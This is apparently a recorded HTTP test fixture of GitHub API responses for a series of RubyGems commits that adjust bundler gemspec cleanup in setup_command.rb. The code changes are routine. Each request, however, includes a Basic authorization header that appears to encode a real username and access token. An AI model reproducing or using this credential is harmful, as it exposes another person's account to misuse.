Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4575' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c50c803b5fe4fe0868b640036ff11d9c" Last-Modified: - Fri, 22 Dec 2017 12:29:55 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.056148' X-Github-Request-Id: - A1B0:4D96:971478:13A339D:5A50E45E body: encoding: ASCII-8BIT string: '{"sha":"158056699d70a7f0fd947d9746fdbe9cc05c6497","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:29:55Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:29:55Z"},"message":"Added tests and fixed to gemspec cleanup process.","tree":{"sha":"aa95595a98c716a10f0fa57b9e49c0f5c1e88364","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/aa95595a98c716a10f0fa57b9e49c0f5c1e88364"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/158056699d70a7f0fd947d9746fdbe9cc05c6497","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo8+sMACgkQ+c8TQXJk\n+sKDewgAjnOm1YtONJTMCL3makAKKoWpYMOzu8GQZuz7iFIxHzwLjo8f4uI4JmOD\n146hpgm/po0eWJogktUodjHFxrngGHbZO/P4Gqbts+WkSXZALD1Wg6wGdyAoumCc\nvN0fMk0Zi7BJ3vSZnmY3K+OP23lUawW5+ODHUIKtiG415yaTA3mq4Ox6IK7g0oOP\ncXpAn5f6yD9hqyS12AHPjJ3pvVGJB1uW8pmUY/MEwrvfZ8F0YCwZ0HK+7850dmYQ\nVu8/7BVrxkMPCEwboXqIdhJ+kaIRcdCantV1Cp0xSepBVqBqHDQaitwwA2z8Y9iM\nyIetDKxLPKQFYvM8r3feJbGqnRRi9g==\n=W0U0\n-----END PGP SIGNATURE-----","payload":"tree aa95595a98c716a10f0fa57b9e49c0f5c1e88364\nparent 32711dd8d928fbe388b7a8ef4874a9ad808e78b1\nauthor SHIBATA Hiroshi 1513945795 +0900\ncommitter SHIBATA Hiroshi 1513945795 +0900\n\nAdded tests and fixed to gemspec cleanup process.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/158056699d70a7f0fd947d9746fdbe9cc05c6497","html_url":"https://github.com/rubygems/rubygems/commit/158056699d70a7f0fd947d9746fdbe9cc05c6497","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/158056699d70a7f0fd947d9746fdbe9cc05c6497/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"32711dd8d928fbe388b7a8ef4874a9ad808e78b1","url":"https://api.github.com/repos/rubygems/rubygems/commits/32711dd8d928fbe388b7a8ef4874a9ad808e78b1","html_url":"https://github.com/rubygems/rubygems/commit/32711dd8d928fbe388b7a8ef4874a9ad808e78b1"}],"stats":{"total":12,"additions":9,"deletions":3},"files":[{"sha":"0294e4e461b3d33ab4e5b885ffaf4f027a60f4f7","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/158056699d70a7f0fd947d9746fdbe9cc05c6497/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/158056699d70a7f0fd947d9746fdbe9cc05c6497/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=158056699d70a7f0fd947d9746fdbe9cc05c6497","patch":"@@ -371,7 +371,7 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(default_spec_path)\n \n # Remove gemspec that was same version of vendored bundler.\n- normal_gemspec = File.join(Gem.default_dir, \"specifications\", \"#{bundler_spec.version}.gemspec\")\n+ normal_gemspec = File.join(Gem.default_dir, \"specifications\", \"bundler-#{bundler_spec.version}.gemspec\")\n if File.file? normal_gemspec\n File.delete normal_gemspec\n end"},{"sha":"74ad095686ebc41b431083bfcaf1bcbb7c972a7c","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":8,"deletions":2,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/158056699d70a7f0fd947d9746fdbe9cc05c6497/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/158056699d70a7f0fd947d9746fdbe9cc05c6497/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=158056699d70a7f0fd947d9746fdbe9cc05c6497","patch":"@@ -43,10 +43,15 @@ def setup\n end\n \n open(File.join(Gem::Specification.default_specifications_dir, \"bundler-1.15.4.gemspec\"), ''w'') do |io|\n- io.puts ''# bundler''\n+ io.puts ''# bundler-1.15.4''\n end\n \n FileUtils.mkdir_p File.join(Gem.default_dir, \"specifications\")\n+\n+ open(File.join(Gem.default_dir, \"specifications\", \"bundler-#{BUNDLER_VERS}.gemspec\"), ''w'') do |io|\n+ io.puts ''# bundler-1.16.1''\n+ end\n+\n open(File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\"), ''w'') do |io|\n io.puts ''# bundler-audit''\n end\n@@ -136,9 +141,10 @@ def test_install_default_bundler_gem\n default_dir = Gem::Specification.default_specifications_dir\n \n refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")\n- refute_path_exists ''default/gems/bundler-1.15.4''\n+ assert_path_exists ''default/gems/bundler-1.15.4''\n \n assert_path_exists File.join(default_dir, \"bundler-#{BUNDLER_VERS}.gemspec\")\n+ refute_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-#{BUNDLER_VERS}.gemspec\")\n assert_path_exists \"default/gems/bundler-#{BUNDLER_VERS}\"\n \n assert_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:42 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/32711dd8d928fbe388b7a8ef4874a9ad808e78b1 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4574' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"95818eb677892e395e601e319d550034" Last-Modified: - Fri, 22 Dec 2017 12:07:06 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050590' X-Github-Request-Id: - C482:4D97:90352F:1C46E2C:5A50E45E body: encoding: ASCII-8BIT string: '{"sha":"32711dd8d928fbe388b7a8ef4874a9ad808e78b1","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:07:06Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:07:06Z"},"message":"Fix a typo","tree":{"sha":"b041c769a3ab0b17d672aa686032e62ce4d9e8d9","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b041c769a3ab0b17d672aa686032e62ce4d9e8d9"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/32711dd8d928fbe388b7a8ef4874a9ad808e78b1","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo89WoACgkQ+c8TQXJk\n+sK2kggAhofxDvcfYP98rIIY/mSFotGQR2cD5IvgPG9Di89X2aVOp3XMX+SaklW2\nw/fldhNtcZNn56Q3EMvuhckCZukIr6H36kn1FVEa+Vpy5IvZvh6eNzYllyRnMxq2\nOVtqN81W9j8c4hFoi9QJ5WSXw0umZDXJ6jTlQpN7HS79QbifO9MGlRN5/26BJMXS\nZcfBEI0lZbcS+TBqpOoDvAvEvD8SIC096E2xN4bdqAhSBb8ZKfBXDPq3sj1iq9yI\npQPxMSmMeB+AsPzmsmuyFjM7uHRHqQNi48kF56Kha2/VQDUgOHwHojiArwijXa3x\nxealBg3/1dhBcq6dAYGLgYu+JLyRwg==\n=sxEk\n-----END PGP SIGNATURE-----","payload":"tree b041c769a3ab0b17d672aa686032e62ce4d9e8d9\nparent ac9833896c63d6ebb26f8b5eabef5b011ac163a5\nauthor SHIBATA Hiroshi 1513944426 +0900\ncommitter SHIBATA Hiroshi 1513944426 +0900\n\nFix a typo\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/32711dd8d928fbe388b7a8ef4874a9ad808e78b1","html_url":"https://github.com/rubygems/rubygems/commit/32711dd8d928fbe388b7a8ef4874a9ad808e78b1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/32711dd8d928fbe388b7a8ef4874a9ad808e78b1/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"ac9833896c63d6ebb26f8b5eabef5b011ac163a5","url":"https://api.github.com/repos/rubygems/rubygems/commits/ac9833896c63d6ebb26f8b5eabef5b011ac163a5","html_url":"https://github.com/rubygems/rubygems/commit/ac9833896c63d6ebb26f8b5eabef5b011ac163a5"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"7e677784b9ce517f2f6500e8a056a648537b8b4c","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/32711dd8d928fbe388b7a8ef4874a9ad808e78b1/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/32711dd8d928fbe388b7a8ef4874a9ad808e78b1/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=32711dd8d928fbe388b7a8ef4874a9ad808e78b1","patch":"@@ -370,7 +370,7 @@ def install_default_bundler_gem\n \n bundler_spec = Gem::Specification.load(default_spec_path)\n \n- # Remove gemspec that was same version of vendoered bundler.\n+ # Remove gemspec that was same version of vendored bundler.\n normal_gemspec = File.join(Gem.default_dir, \"specifications\", \"#{bundler_spec.version}.gemspec\")\n if File.file? normal_gemspec\n File.delete normal_gemspec"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:42 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ac9833896c63d6ebb26f8b5eabef5b011ac163a5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4573' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f98460d55ec2ac581bbc9bfe13fef778" Last-Modified: - Fri, 22 Dec 2017 11:03:56 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049190' X-Github-Request-Id: - A1B4:4D94:4EFE88:B2FEEA:5A50E45E body: encoding: ASCII-8BIT string: '{"sha":"ac9833896c63d6ebb26f8b5eabef5b011ac163a5","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T11:03:56Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T11:03:56Z"},"message":"Removed gemspec of same version for vendoered bundler","tree":{"sha":"6f7fe4e34c222a95e9b55b84dff297491ae91cca","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6f7fe4e34c222a95e9b55b84dff297491ae91cca"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ac9833896c63d6ebb26f8b5eabef5b011ac163a5","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo85pwACgkQ+c8TQXJk\n+sLSvAgA2EFfJ5a8xy7uoduheW3ZW1+qf7tmtsib014TJbrOaWDV1ilXt0F3De7/\nGWkXojPcjHOs9k1SG59gvnqANDbVWpzr6TQTqWoK+Cig1Ng9WNC3a1I2SDLjk223\nsqsqSEINzY2V/MeCOtj46WRWfmj+hgkoTdO03pDDv6J1xJTe7NqldRtrKlE8eAf4\noohoB2uBkJZL1DgUlY7nv9MSJui8QYPkHU4w4MEZsBzlTU3/KZo4UTHgR3z7nTUE\neer239dqebCHQcSvrdQ7mnt0qtftOy5oJKZsn1DYECWFXtWQT8d9tXB4ZtSFkT1L\nh+79W45+lqDqqW6WDBeN2B82HyUdRA==\n=aWqL\n-----END PGP SIGNATURE-----","payload":"tree 6f7fe4e34c222a95e9b55b84dff297491ae91cca\nparent 6e63382684a17bc0ddab05ab1a6af0a2cf9e5012\nauthor SHIBATA Hiroshi 1513940636 +0900\ncommitter SHIBATA Hiroshi 1513940636 +0900\n\nRemoved gemspec of same version for vendoered bundler\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ac9833896c63d6ebb26f8b5eabef5b011ac163a5","html_url":"https://github.com/rubygems/rubygems/commit/ac9833896c63d6ebb26f8b5eabef5b011ac163a5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ac9833896c63d6ebb26f8b5eabef5b011ac163a5/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e63382684a17bc0ddab05ab1a6af0a2cf9e5012","url":"https://api.github.com/repos/rubygems/rubygems/commits/6e63382684a17bc0ddab05ab1a6af0a2cf9e5012","html_url":"https://github.com/rubygems/rubygems/commit/6e63382684a17bc0ddab05ab1a6af0a2cf9e5012"}],"stats":{"total":9,"additions":9,"deletions":0},"files":[{"sha":"deca9ecb45782019d5b847903e59d36fe0097b4d","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":9,"deletions":0,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/ac9833896c63d6ebb26f8b5eabef5b011ac163a5/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ac9833896c63d6ebb26f8b5eabef5b011ac163a5/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=ac9833896c63d6ebb26f8b5eabef5b011ac163a5","patch":"@@ -359,6 +359,8 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n bundler_spec.files = Dir.chdir(\"bundler\") { Dir[\"{*.md,{lib,exe,man}/**/*}\"] }\n bundler_spec.executables -= %w[bundler bundle_ruby]\n+\n+ # Remove bundler-*.gemspec in default specification directory.\n Dir.entries(Gem::Specification.default_specifications_dir).\n select {|gs| gs.start_with?(\"bundler-\") }.\n each {|gs| File.delete(File.join(Gem::Specification.default_specifications_dir, gs)) }\n@@ -368,6 +370,13 @@ def install_default_bundler_gem\n \n bundler_spec = Gem::Specification.load(default_spec_path)\n \n+ # Remove gemspec that was same version of vendoered bundler.\n+ normal_gemspec = File.join(Gem.default_dir, \"specifications\", \"#{bundler_spec.version}.gemspec\")\n+ if File.file? normal_gemspec\n+ File.delete normal_gemspec\n+ end\n+\n+ # Remove gem files that were same version of vendored bundler.\n if File.directory? bundler_spec.gems_dir\n Dir.entries(bundler_spec.gems_dir).\n select {|default_gem| File.basename(default_gem).match(/^bundler-#{bundler_spec.version}$/) }."}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:42 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/6e63382684a17bc0ddab05ab1a6af0a2cf9e5012 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4572' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"46fdf9469e8f9b2542791a37aad9f2c5" Last-Modified: - Fri, 22 Dec 2017 10:16:30 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039905' X-Github-Request-Id: - C486:4D95:F47A9D:1C83064:5A50E45E body: encoding: ASCII-8BIT string: '{"sha":"6e63382684a17bc0ddab05ab1a6af0a2cf9e5012","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T09:52:09Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T10:16:30Z"},"message":"Only cleanup same version of existence bundler.","tree":{"sha":"479fa9b112d7da9cccbcd151538dfd94b3da89fa","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/479fa9b112d7da9cccbcd151538dfd94b3da89fa"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6e63382684a17bc0ddab05ab1a6af0a2cf9e5012","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6e63382684a17bc0ddab05ab1a6af0a2cf9e5012","html_url":"https://github.com/rubygems/rubygems/commit/6e63382684a17bc0ddab05ab1a6af0a2cf9e5012","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6e63382684a17bc0ddab05ab1a6af0a2cf9e5012/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","url":"https://api.github.com/repos/rubygems/rubygems/commits/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","html_url":"https://github.com/rubygems/rubygems/commit/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"ad9be83ccd78a9b09e5b53825b9c55d6f497a52f","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/6e63382684a17bc0ddab05ab1a6af0a2cf9e5012/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/6e63382684a17bc0ddab05ab1a6af0a2cf9e5012/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=6e63382684a17bc0ddab05ab1a6af0a2cf9e5012","patch":"@@ -370,7 +370,7 @@ def install_default_bundler_gem\n \n if File.directory? bundler_spec.gems_dir\n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| File.basename(default_gem).match(/^bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n+ select {|default_gem| File.basename(default_gem).match(/^bundler-#{bundler_spec.version}$/) }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:43 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4571' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a15fff66c4c0d518219a4021edd1a34f" Last-Modified: - Fri, 22 Dec 2017 06:34:26 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - 